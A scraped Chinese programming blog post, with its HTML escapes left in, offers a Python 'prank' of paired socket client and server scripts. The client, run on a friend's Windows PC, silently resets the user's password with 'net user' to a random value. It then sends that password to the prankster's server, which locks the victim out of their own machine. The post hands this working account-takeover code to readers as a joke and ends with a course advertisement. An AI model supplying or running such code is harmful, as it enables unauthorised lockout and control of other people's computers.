1. 首页
  2. Python

用python做个恶作剧!快来试试吧

“u003Cdivu003Eu003Cdiv class=”pgc-img”u003Eu003Cimg src=”http:u002Fu002Fp1.pstatp.comu002Flargeu002Fdfic-imagehandleru002Ff57eee83-c866-456c-ba82-d6032b809a41″ img_width=”1024″ img_height=”512″ alt=”用python做个恶作剧!快来试试吧” inline=”0″u003Eu003Cp class=”pgc-img-caption”u003Eu003Cu002Fpu003Eu003Cu002Fdivu003Eu003Cpu003E先简要介绍一下程序。u003Cu002Fpu003Eu003Cpu003E程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。u003Cu002Fpu003Eu003Cpu003E咳咳,使用方法来了!u003Cu002Fpu003Eu003Cpu003E首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。u003Cu002Fpu003Eu003Cpu003E然后,让你的朋友在他的电脑上运行客户端 client.py。u003Cu002Fpu003Eu003Cpu003E此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。u003Cu002Fpu003Eu003Cpu003E嗯,然后你朋友的电脑密码就只有你自己知道了~u003Cu002Fpu003Eu003Cpu003E上代码:u003Cu002Fpu003Eu003Cpreu003E# client.py:u003Cbru003Eimport socketu003Cbru003Eimport getpassu003Cbru003Eimport subprocessu003Cbru003Eimport randomu003Cbru003Ephone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)u003Cbru003Ephone.connect((‘172.17.21.56’, 8080))u003Cbru003Euser = getpass.getuser()u003Cbru003Epsd = ”u003Cbru003Efor j in range(1, 9):u003Cbru003Em = str(random.randrange(0, 10))u003Cbru003Epsd = psd + mu003Cbru003Esubprocess.Popen([‘net’, ‘User’, user, psd])u003Cbru003Ephone.send(psd.encode(‘utf-8’))u003Cbru003Eback_msg = phone.recv(1024)u003Cbru003Ephone.close()u003Cbru003E# server.pyu003Cbru003Eimport socketu003Cbru003Ephone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)u003Cbru003Ephone.bind((‘172.17.21.56’, 8080))u003Cbru003E u003Cbru003Ephone.listen(5)u003Cbru003E u003Cbru003Eprint(‘starting….’)u003Cbru003Econn, addr = phone.accept()u003Cbru003Eprint(conn)u003Cbru003Eprint(‘client addr’, addr)u003Cbru003Eprint(‘ready to read msg’)u003Cbru003Eclient_msg = conn.recv(1024)u003Cbru003Eprint(‘client msg: %s’ % client_msg)u003Cbru003Econn.send(client_msg.upper())u003Cbru003E u003Cbru003Econn.close()u003Cbru003Ephone.close()u003Cbru003Eu003Cu002Fpreu003Eu003Cpu003Eu003Cstrongu003E与之配套的415集Python视频教程:u003Cu002Fstrongu003Eu003Cu002Fpu003Eu003Cpu003E由北京尚学堂高淇老师亲自录制,415集Python全栈入门到精通的Python全套+前端+4个实战项目,u003Cstrongu003E第2季已经新鲜出炉了!小伙伴们快快领取学习吧!u003Cu002Fstrongu003Eu003Cu002Fpu003Eu003Ch1u003Eu003Cstrongu003E获取方式:转发此文+关注 并 私信小编 “ 资料 ”,即可免费获取!u003Cu002Fstrongu003Eu003Cu002Fh1u003Eu003Cdiv class=”pgc-img”u003Eu003Cimg src=”http:u002Fu002Fp3.pstatp.comu002Flargeu002Fpgc-imageu002F1ec2a1cfc73d4619860a861caadf7ba5″ img_width=”484″ img_height=”380″ alt=”用python做个恶作剧!快来试试吧” inline=”0″u003Eu003Cp class=”pgc-img-caption”u003Eu003Cu002Fpu003Eu003Cu002Fdivu003Eu003Cu002Fdivu003E”

原文始发于:用python做个恶作剧!快来试试吧

主题测试文章,只做测试使用。发布者:醒百年,转转请注明出处:http://www.cxybcw.com/13436.html

联系我们

13687733322

在线咨询:点击这里给我发消息

邮件:1877088071@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code